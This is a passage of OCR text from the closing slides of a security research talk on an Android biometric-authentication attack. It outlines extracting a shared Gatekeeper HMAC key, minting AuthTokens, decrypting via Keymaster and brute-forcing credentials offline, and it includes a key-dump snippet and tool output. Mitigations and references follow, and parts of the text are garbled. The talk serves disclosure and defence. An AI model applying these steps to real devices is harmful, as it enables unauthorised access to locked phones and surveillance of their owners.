with open("./files/HMAC.key", "wb") as f: 3. Extract the HMAC key and mint anAuthToken.

f.write (bytes (hmac key))
4. Request Keymaster to decrypt intermediate.

5. Offline brute-force the credentials until intermediate

[+] Find "ARC_FP_Init": 0xf500 |
[+] Find HMAC Key: 35 7B 3C CA 38 F8 D3 45 s successfully decrypted.
25 B0 20 8D 69 49 BD EC
EA 73 3F 8A 09 DD 55 01
A4 37 38 30 D5 85 BE 66
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Live DEMO



04 Mitigations
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Mitigations

1. Establish a unified standard and framework for biometric authentication
2. Enhance the security of exposed interfaces and HMAC keys

3. Further protect PIN through SE/Weaver-based solutions
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ST ETY

» Shared HMAC key between gatekeeper and bio auth TAs

» — single failure domain; one compromise compromises all TAs.

* No clear standards/security requirements for biometric auth under HAL

* — many inconsistent, vulnerable implementations.

* An undisclosed attack surface likely to be (or already been) used in mobile
forensics.

» Requires TA communication; boot-chain and Linux kernel flaws can provide it.



DARKNAVY

References

a &~ W bh =


https://www.blackhat.com/us-24/briefings/schedule/
https://blog.quarkslab.com/android-data-encryption-in-depth.html
https://source.android.com/docs/security/features/authentication
https://i.blackhat.com/BH-US-23/Presentations/US-23-Wen-Core-Escalation.pdf
https://securitylab.amnesty.org/latest/2025/02/cellebrite-zero-day-exploit-used-to-target-phone-of-serbian-student-activist/




